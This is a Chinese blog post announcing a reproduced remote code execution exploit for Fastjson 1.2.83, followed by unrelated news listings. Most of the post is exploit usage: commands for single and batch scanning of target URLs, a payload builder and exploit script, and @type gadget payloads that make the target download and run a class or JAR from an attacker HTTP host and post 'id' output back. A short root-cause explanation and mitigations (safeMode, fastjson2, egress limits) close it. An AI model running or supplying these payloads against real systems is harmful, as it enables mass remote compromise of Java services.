【已复现】Fastjson 1.2.83 Gadget 黑名单失效--Fastjson 1.2.83 远程代码执行
前言这周安全圈最热闹的事莫过于Fastjson 1.2.83 RCE了。Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库凭借出色的解析速度和简洁的 API 设计在国内 Java 生态中占据主导地位广泛应用于企业后端服务、微服务网关、数据接口层等核心业务场景。它支持将 Java 对象序列化为 JSON 字符串也可以将 JSON 字符串反序列化为 Java 对象被大量国内企业和开发者集成到各类 Web 应用、API 接口和中间件系统中堪称 Java 领域使用最广泛的 JSON 处理组件之一。也正因为它用得人多每一次 Fastjson 出问题都是一次全网排查级别的大事件。而这一次从研究员发推披露到完整 EXP 公开只用了三天。Fastjson 1.2.83getResourceAsStreamgadget RCE poc。poc支持jdk8、17、21和25自动尝试。支持批量对url进行poc验证。默认 payload 执行id并 POST 回攻击端/out用于确认命令执行结果。完整的可jdk高版本复现的公开exp诞生项目链接https://www.hacktwohub.com/6059.html快速使用单个 HTTP 目标scripts/http-test.sh 攻击端IP 攻击端HTTP端口 目标URL [接口路径]示例scripts/http-test.sh 172.20.10.2 19090 http://10.0.0.8:8080 /parse脚本会自动尝试jdk8-httpfd成功时输出类似[] fd: ID-OOB OK [] OOB POST /out from target_ip uid0(root) gid0(root) groups0(root)批量 HTTP 目标urls.txt每行一个完整接口http://10.0.0.8:8080/parse http://10.0.0.9:8080/api/json运行scripts/batch-http-test.sh 172.20.10.2 19090 urls.txt也可以每行写服务根地址统一追加接口路径http://10.0.0.8:8080 http://10.0.0.9:8080scripts/batch-http-test.sh 172.20.10.2 19090 hosts.txt /parse批量结果会输出到/tmp/fastjson-batch-*/results.jsonl完整日志在同目录下。Docker 本地验证本地启动多个 JDK 靶场容器并通过 HTTP 打/parseHOST_IP192.168.65.254 JDKS8 17 21 25 ./scripts/test-jdks.shDocker Desktop 上HOST_IP通常是192.168.65.254如果不通换成容器能访问宿主机的 IP。手动构建 Payloadbash scripts/build.sh 攻击端IP 攻击端HTTP端口 id-oob 模式示例bash scripts/build.sh 172.20.10.2 19090 id-oob fd python3 -u poc/exploit.py 172.20.10.2 19090 http://10.0.0.8:8080 /parse --mode fd --once --wait 20模式jdk8-httpfd漏洞原理Fastjson 1.2.83 在 ParserConfig.checkAutoType 中会根据 type 拼接 class resource String resource typeName.replace(., /) .class; is defaultClassLoader.getResourceAsStream(resource);因此特殊type可以被转换成远程资源 URL。目标 ClassLoader 若支持 URL resource便可能请求攻击端 HTTP server 并加载带JSONType的 class。触发过程攻击者发送包含特殊type的 JSON。Fastjson 把.替换成/进入getResourceAsStream探测。目标请求攻击端 HTTP server 下载 class/JAR。JSONType影响 AutoType 判定路径。命中loadClass/ 实例化后执行恶意 class 的clinit。IPv4 会转成十进制格式例如192.168.65.254 - 3232252414这样可以避免 IP 里的.被替换成/。JDK 版本区别模式适用场景行为本机结果jdk8-httpJDK8 Spring Boot 2 FatJar直接拉取/a.class并加载JDK 8u492 成功fdJDK17/21 Spring Boot 3 FatJar先拉取/probe再枚举/proc/self/fd/N加载 JAR 内 classJDK 17.0.19、21.0.11 成功fdJDK25 Spring Boot 3 FatJar可拉取/probe但未收到命令回显JDK 25.0.3 未成功JDK8 短链使用{type:http:..3232252414:19090.a}转换后http://192.168.65.254:19090/a.classJDK17/21 FD 链使用[ {type:jar:http:..3232252414:19090.probe!.foo.Exception}, {type:jar:file:.proc.self.fd.3!.fd3.Exception}, {type:jar:file:.proc.self.fd.4!.fd4.Exception} ]转换后jar:http://192.168.65.254:19090/probe!/foo/Exception.class jar:file:/proc/self/fd/N!/fdN/Exception.class只看到/probe或/a.class请求只能说明目标能访问攻击端资源不代表 RCE 成功以/out的uid/gid回传为准。影响条件Fastjson 1.2.83未启用-Dfastjson.parser.safeModetrue服务端解析不可信 JSON 中的type目标 ClassLoader 支持对应 resource 加载路径目标能访问攻击端 HTTP server防护启用 SafeMode-Dfastjson.parser.safeModetrue升级到 fastjson2禁止不可信 JSON 使用type限制业务 JVM 出网审计 FatJar/ClassLoader 对远程 URL resource 的解析行为

相关新闻

Tiva™微控制器定时器GPTM深度解析:从原理到PWM、RTC实战应用

Tiva™微控制器定时器GPTM深度解析:从原理到PWM、RTC实战应用

1. 微控制器定时器:嵌入式系统的“心跳”与“节拍器”在嵌入式系统的世界里,如果说CPU是大脑,负责思考和决策,那么定时器就是心脏和节拍器,为整个系统提供稳定、精确的时间基准和事件驱动源。无论是让一个LED灯以1秒的…

2026/10/18 18:11:34 阅读更多 →
中小企业GEO轻量化方案:低成本高回报的实战路径

中小企业GEO轻量化方案:低成本高回报的实战路径

引言 预算有限的中小企业,如何用10万元实现GEO(生成式引擎优化)的初步落地?本文基于迪普智见(DeepIntelli)的实战经验,提供一套轻量化方案,涵盖工具选择、关键词策略、社媒利用和预…

2026/10/17 18:40:44 阅读更多 →
真空共晶炉与真空甲酸炉:多工位批量钎焊工艺的精密化演进

真空共晶炉与真空甲酸炉:多工位批量钎焊工艺的精密化演进

一、技术背景 随着半导体功率器件、光电器件及MEMS传感器向高集成度、高可靠性方向发展,承接多工位批量器件钎焊加工的代工企业与半导体工艺外包企业对真空钎焊设备的工艺精度与批量一致性提出了严苛要求。传统气氛保护炉在氧含量控制、助焊剂残留处理及多工位温度均…

2026/10/18 21:46:53 阅读更多 →

最新新闻

从零搭建轻量级物联网平台:架构设计与核心模块拆解

从零搭建轻量级物联网平台:架构设计与核心模块拆解

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 6:36:54 阅读更多 →
ROS与STM32串口通信实战:从硬件接线到协议解析

ROS与STM32串口通信实战:从硬件接线到协议解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 6:36:54 阅读更多 →
DMA读旧数据?三招搞定Cache一致性难题

DMA读旧数据?三招搞定Cache一致性难题

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 6:36:54 阅读更多 →
STM32寄存器操作实战:从GPIO到DMA的底层开发指南

STM32寄存器操作实战:从GPIO到DMA的底层开发指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 6:36:54 阅读更多 →
STM32寄存器级编程实战:从GPIO到串口的中文手册

STM32寄存器级编程实战:从GPIO到串口的中文手册

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 6:36:54 阅读更多 →
USPS手写数字数据集处理全流程:从原始数据到SVM/CNN验证

USPS手写数字数据集处理全流程:从原始数据到SVM/CNN验证

如果你处理过手写数字识别,USPS数据集应该不会陌生。它来自美国邮政系统对信封上手写数字的扫描图,尺寸小、分辨率低,但噪声和形变非常真实,是图像分类入门绕不开的经典数据。我最早一次拿它练手,是在某实验室做数字识…

2026/10/19 6:35:54 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介:本资源为电源技术方向的学术研究文档,聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略,面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址: https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集,共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →